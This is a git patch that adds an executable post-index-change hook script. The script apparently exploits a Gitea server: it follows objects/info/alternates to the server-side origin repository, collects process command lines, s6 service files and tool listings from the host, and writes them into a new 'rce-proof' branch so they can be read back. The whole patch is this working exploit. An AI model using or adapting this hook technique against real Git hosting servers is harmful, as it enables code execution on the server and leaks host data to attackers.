From c85bdb15b671ea6c97a5734beb05690928ce947d Mon Sep 17 00:00:00 2001 From: pocr74zseid Date: Wed, 28 Oct 2026 12:47:00 +0000 Subject: [PATCH] apply-1 --- hooks/post-index-change | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..c26fa29 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,14 @@ +#!/bin/sh +git_dir=$(git rev-parse --absolute-git-dir) || exit 1 +origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 +case "$origin_objects" in + /*) ;; + *) origin_objects="$git_dir/objects/$origin_objects" ;; +esac +origin_git=${origin_objects%/objects} +[ "$origin_git" != "$origin_objects" ] || exit 3 +output_blob=$( { echo "== s6 araclari =="; ls /command 2>/dev/null | head; which s6-svc s6-svstat 2>/dev/null; echo "== s6 servis dizini =="; ls -la /etc/s6/gitea/ 2>/dev/null; echo "== gitea pid =="; for p in /proc/[0-9]*; do c=$(tr '\0' ' ' < $p/cmdline 2>/dev/null); case "$c" in *gitea*) echo "PID ${p#/proc/}: $c";; esac; done; echo "== run =="; ls -la /etc/s6/gitea/run 2>/dev/null; cat /etc/s6/gitea/run 2>/dev/null | head -5 ; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4 +tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5 +commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6 +git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7 +exit 0